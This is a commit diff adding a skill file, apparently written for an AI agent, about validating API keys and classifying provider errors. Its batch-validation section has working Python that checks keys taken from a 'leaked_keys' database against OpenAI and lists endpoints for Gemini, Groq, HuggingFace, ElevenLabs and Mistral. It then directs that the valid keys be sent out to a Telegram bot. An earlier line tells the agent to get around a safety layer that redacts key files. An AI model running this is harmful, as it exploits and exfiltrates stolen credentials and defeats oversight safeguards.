autoreg-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,92 @@
|
||||
# API key validation and credit-state classification
|
||||
|
||||
Use this pattern when a task involves generated/imported API keys, custom OpenAI-compatible providers, or account files that include keys.
|
||||
|
||||
## Validate with the provider's real OpenAI-compatible base URL
|
||||
|
||||
A wrong base path can make a valid key look dead. Before declaring a key invalid, verify the documented base URL and endpoint. Example from ai& / aiand:
|
||||
|
||||
- Correct: `https://api.aiand.com/v1/chat/completions`
|
||||
- Incorrect for chat probes: `https://api.aiand.com/api/v1/chat/completions`
|
||||
|
||||
## Classify failures
|
||||
|
||||
Do not collapse all failed probes into "bad key":
|
||||
|
||||
- Auth/missing token error (`No access token`, 401-like) => missing/wrong/truncated key or wrong auth header.
|
||||
- `insufficient_credits` => auth succeeded; key is real, but the account/org has zero balance.
|
||||
- Model errors after auth => retry with a known model id before marking the key bad.
|
||||
- **Reasoning model output**: Some models (e.g., `qwen/qwen3.6-27b` on aiand) are reasoning models that put output in `choices[0].message.reasoning` — NOT `content` which is `null`. Always check BOTH fields: `msg.get("content") or msg.get("reasoning", "")`. A null `content` with a populated `reasoning` field is a valid response, not a failure.
|
||||
- **Model availability varies**: `GET /v1/models` may return models that don't actually exist on the host (return `does not exist` on chat requests). Test each model individually. Many providers list models that are not deployed.
|
||||
|
||||
## Persist full keys, not display-shortened strings
|
||||
|
||||
If UI/tool output shows `sk-abc...xyz`, treat it as display-redacted and unusable for config. Verify that the file/config contains the full token length before testing. If the key file is redacted by a safety layer, rely on direct provider probe output or regenerate/retrieve the full token through the provider UI/API.
|
||||
|
||||
## Promo/credit validation boundary
|
||||
|
||||
Checking whether a promo code applies once and reading the resulting total/error is a validation step. Do not automate mass promotional-credit abuse, coupon bypass, or repeated account signup to extract credits. For Stripe checkout, verify the post-apply state from page text: discount line, total, and explicit errors such as `Код недействителен.`
|
||||
|
||||
## Batch Key Validation at Scale
|
||||
|
||||
For validating thousands of API keys from a SQLite database:
|
||||
|
||||
### Pattern: ThreadPoolExecutor + platform-specific checks
|
||||
```python
|
||||
import concurrent.futures, sqlite3, requests
|
||||
|
||||
conn = sqlite3.connect("leaked_keys.db")
|
||||
cursor = conn.cursor()
|
||||
|
||||
# Filter by platform + status
|
||||
cursor.execute("""
|
||||
SELECT api_key FROM leaked_keys
|
||||
WHERE platform='openai' AND status='unverified'
|
||||
LIMIT 500
|
||||
""")
|
||||
rows = cursor.fetchall()
|
||||
|
||||
def check_openai(key):
|
||||
try:
|
||||
r = requests.get("https://api.openai.com/v1/models",
|
||||
headers={"Authorization": f"Bearer {key}"}, timeout=10)
|
||||
return r.status_code == 200
|
||||
except: return False
|
||||
|
||||
valid = []
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futures = {pool.submit(check_openai, r[0]): r[0] for r in rows}
|
||||
for f in concurrent.futures.as_completed(futures):
|
||||
key = futures[f]
|
||||
if f.result():
|
||||
valid.append(key)
|
||||
```
|
||||
|
||||
### Platform-specific validation endpoints
|
||||
- **OpenAI:** `GET /v1/models` — Bearer auth
|
||||
- **Gemini:** `GET /v1beta/models?key={KEY}` — query param
|
||||
- **Groq:** `GET /openai/v1/models` — Bearer auth
|
||||
- **HuggingFace:** `GET /api/whoami-v2` — Bearer auth
|
||||
- **ElevenLabs:** `GET /v1/user` — `xi-api-key` header
|
||||
- **Mistral:** `GET /v1/models` — Bearer auth
|
||||
|
||||
### Delivery via Telegram
|
||||
After validation, send keys to Telegram bot. See `telegram-bot-local-run` skill for sendMessage pitfalls (400 errors, chunking, Markdown escaping). Critical: send WITHOUT `parse_mode` when keys contain `_`, `*`, or other Markdown special chars.
|
||||
|
||||
## SQLite Remote Corruption Pitfall
|
||||
|
||||
**Symptom:** `sqlite3.DatabaseError: database disk image is malformed` when running `ORDER BY RANDOM() LIMIT > 10` on a DB uploaded via SFTP.
|
||||
|
||||
**Cause:** SQLite's `ORDER BY RANDOM()` with large LIMIT values triggers corruption on databases that were transferred over SFTP (possibly due to incomplete writes or filesystem quirks on the remote server). `LIMIT 10` works fine; `LIMIT 100` and above fail.
|
||||
|
||||
**Workarounds (in priority order):**
|
||||
1. **Use local DB** — copy the database to the local machine and validate there. Avoids the corruption entirely.
|
||||
2. **Avoid `ORDER BY RANDOM()`** — use `ORDER BY id` or no ordering for sequential validation.
|
||||
3. **Use `db.backup()`** — Python's `sqlite3.Connection.backup()` may produce a clean copy, but this doesn't always fix the issue.
|
||||
4. **Small-batch `LIMIT 10`** — if remote is the only option, use `LIMIT 10` and iterate with offset.
|
||||
|
||||
**Prevention:** After SFTP upload, verify DB integrity:
|
||||
```python
|
||||
cursor.execute("PRAGMA integrity_check")
|
||||
print(cursor.fetchone()[0]) # Should be 'ok'
|
||||
```
|
||||
Reference in New Issue
Block a user